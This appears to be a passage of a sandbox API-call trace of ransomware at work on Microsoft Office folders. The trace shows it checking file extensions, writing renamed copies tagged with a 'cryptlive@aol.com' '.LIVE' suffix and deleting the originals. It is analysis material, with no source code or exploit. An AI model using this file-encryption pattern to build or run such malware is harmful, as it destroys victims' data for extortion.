[0140.740] lstrlenW (lpString=".ppt") returned 4 [0140.740] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString=".zip") returned 4 [0140.740] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString=".rar") returned 4 [0140.740] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.740] lstrlenW (lpString=".bz2") returned 4 [0140.740] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.740] lstrlenW (lpString=".7z") returned 3 [0140.740] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString=".dbf") returned 4 [0140.740] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString=".1cd") returned 4 [0140.740] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0140.740] lstrlenW (lpString=".jpg") returned 4 [0140.740] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.741] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.741] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0140.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.741] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0140.741] CloseHandle (hObject=0x3a8) returned 1 [0140.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0140.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.742] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.742] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.742] GetLastError () returned 0x0 [0140.742] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0140.743] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.744] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.744] WriteFile (in: hFile=0x350, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0140.744] SetEndOfFile (hFile=0x350) returned 1 [0140.744] CloseHandle (hObject=0x350) returned 1 [0140.745] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.745] SetEndOfFile (hFile=0x3a8) returned 1 [0140.748] CloseHandle (hObject=0x3a8) returned 1 [0140.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 1 [0140.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.749] lstrlenW (lpString=".doc") returned 4 [0140.749] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.749] lstrlenW (lpString=".docx") returned 5 [0140.749] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.749] lstrlenW (lpString=".pdf") returned 4 [0140.749] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.749] lstrlenW (lpString=".xls") returned 4 [0140.749] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.749] lstrlenW (lpString=".xlsx") returned 5 [0140.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.749] lstrlenW (lpString=".ppt") returned 4 [0140.749] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.749] lstrlenW (lpString=".zip") returned 4 [0140.749] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.749] lstrlenW (lpString=".rar") returned 4 [0140.749] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.749] lstrlenW (lpString=".bz2") returned 4 [0140.749] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.749] lstrlenW (lpString=".7z") returned 3 [0140.749] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".dbf") returned 4 [0140.750] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".1cd") returned 4 [0140.750] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".jpg") returned 4 [0140.750] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".doc") returned 4 [0140.750] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.750] lstrlenW (lpString=".docx") returned 5 [0140.750] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.750] lstrlenW (lpString=".pdf") returned 4 [0140.750] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString=".xls") returned 4 [0140.750] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString=".xlsx") returned 5 [0140.750] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.750] lstrlenW (lpString=".ppt") returned 4 [0140.750] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".zip") returned 4 [0140.750] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString=".rar") returned 4 [0140.750] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.750] lstrlenW (lpString=".bz2") returned 4 [0140.750] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.750] lstrlenW (lpString=".7z") returned 3 [0140.750] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.750] lstrlenW (lpString=".dbf") returned 4 [0140.750] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.751] lstrlenW (lpString=".1cd") returned 4 [0140.751] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0140.751] lstrlenW (lpString=".jpg") returned 4 [0140.751] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.751] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0140.751] lstrlenW (lpString="GRINTL32.DLL") returned 12 [0140.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.195] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=208256) returned 1 [0141.195] CloseHandle (hObject=0x380) returned 1 [0141.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll")) returned 0x20 [0141.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.260] lstrlenW (lpString=".doc") returned 4 [0141.260] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString=".docx") returned 5 [0141.260] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0141.260] lstrlenW (lpString=".pdf") returned 4 [0141.260] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString=".xls") returned 4 [0141.260] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString=".xlsx") returned 5 [0141.260] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0141.260] lstrlenW (lpString=".ppt") returned 4 [0141.260] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.260] lstrlenW (lpString=".zip") returned 4 [0141.260] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString=".rar") returned 4 [0141.260] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.260] lstrlenW (lpString=".bz2") returned 4 [0141.261] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.261] lstrlenW (lpString=".7z") returned 3 [0141.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".dbf") returned 4 [0141.261] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".1cd") returned 4 [0141.261] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".jpg") returned 4 [0141.261] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".doc") returned 4 [0141.261] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString=".docx") returned 5 [0141.261] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0141.261] lstrlenW (lpString=".pdf") returned 4 [0141.261] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString=".xls") returned 4 [0141.261] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString=".xlsx") returned 5 [0141.261] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0141.261] lstrlenW (lpString=".ppt") returned 4 [0141.261] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".zip") returned 4 [0141.261] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString=".rar") returned 4 [0141.261] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.261] lstrlenW (lpString=".bz2") returned 4 [0141.261] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.261] lstrlenW (lpString=".7z") returned 3 [0141.261] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.261] lstrlenW (lpString=".dbf") returned 4 [0141.262] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.262] lstrlenW (lpString=".1cd") returned 4 [0141.262] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60 [0141.262] lstrlenW (lpString=".jpg") returned 4 [0141.262] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.262] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0141.262] lstrlenW (lpString="GRLEX.DLL") returned 9 [0141.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.262] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=12672) returned 1 [0141.262] CloseHandle (hObject=0x38c) returned 1 [0141.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll")) returned 0x20 [0141.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.263] lstrlenW (lpString=".doc") returned 4 [0141.263] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString=".docx") returned 5 [0141.263] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0141.263] lstrlenW (lpString=".pdf") returned 4 [0141.263] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString=".xls") returned 4 [0141.263] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString=".xlsx") returned 5 [0141.263] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0141.263] lstrlenW (lpString=".ppt") returned 4 [0141.263] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.263] lstrlenW (lpString=".zip") returned 4 [0141.263] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString=".rar") returned 4 [0141.263] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.263] lstrlenW (lpString=".bz2") returned 4 [0141.263] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.263] lstrlenW (lpString=".7z") returned 3 [0141.263] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.263] lstrlenW (lpString=".dbf") returned 4 [0141.263] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".1cd") returned 4 [0141.264] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".jpg") returned 4 [0141.264] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".doc") returned 4 [0141.264] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString=".docx") returned 5 [0141.264] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0141.264] lstrlenW (lpString=".pdf") returned 4 [0141.264] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString=".xls") returned 4 [0141.264] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString=".xlsx") returned 5 [0141.264] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0141.264] lstrlenW (lpString=".ppt") returned 4 [0141.264] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".zip") returned 4 [0141.264] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString=".rar") returned 4 [0141.264] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0141.264] lstrlenW (lpString=".bz2") returned 4 [0141.264] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0141.264] lstrlenW (lpString=".7z") returned 3 [0141.264] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".dbf") returned 4 [0141.264] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".1cd") returned 4 [0141.264] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0141.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL") returned 57 [0141.264] lstrlenW (lpString=".jpg") returned 4 [0141.265] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0141.265] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0141.265] lstrlenW (lpString="GROOVE.HXS") returned 10 [0141.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0141.266] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2278416) returned 1 [0141.266] CloseHandle (hObject=0x38c) returned 1 [0141.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0141.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.266] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0141.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.266] lstrlenW (lpString=".doc") returned 4 [0141.266] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0141.266] lstrlenW (lpString=".docx") returned 5 [0141.266] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0141.266] lstrlenW (lpString=".pdf") returned 4 [0141.266] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0141.266] lstrlenW (lpString=".xls") returned 4 [0141.266] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0141.266] lstrlenW (lpString=".xlsx") returned 5 [0141.267] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0141.267] lstrlenW (lpString=".ppt") returned 4 [0141.267] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString=".zip") returned 4 [0141.267] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString=".rar") returned 4 [0141.267] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString=".bz2") returned 4 [0141.267] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0141.267] lstrlenW (lpString=".7z") returned 3 [0141.267] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString=".dbf") returned 4 [0141.267] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString=".1cd") returned 4 [0141.267] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString=".jpg") returned 4 [0141.267] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.267] lstrlenW (lpString=".doc") returned 4 [0141.267] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0141.267] lstrlenW (lpString=".docx") returned 5 [0141.267] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0141.267] lstrlenW (lpString=".pdf") returned 4 [0141.267] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString=".xls") returned 4 [0141.267] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString=".xlsx") returned 5 [0141.267] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0141.267] lstrlenW (lpString=".ppt") returned 4 [0141.267] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0141.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS") returned 58 [0141.268] lstrlenW (lpString=".zip") returned 4 [0141.268] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0141.268] lstrlenW (lpString=".rar") returned 4 [0141.268] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0141.268] lstrlenW (lpString=".bz2") returned 4 [0141.268] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") 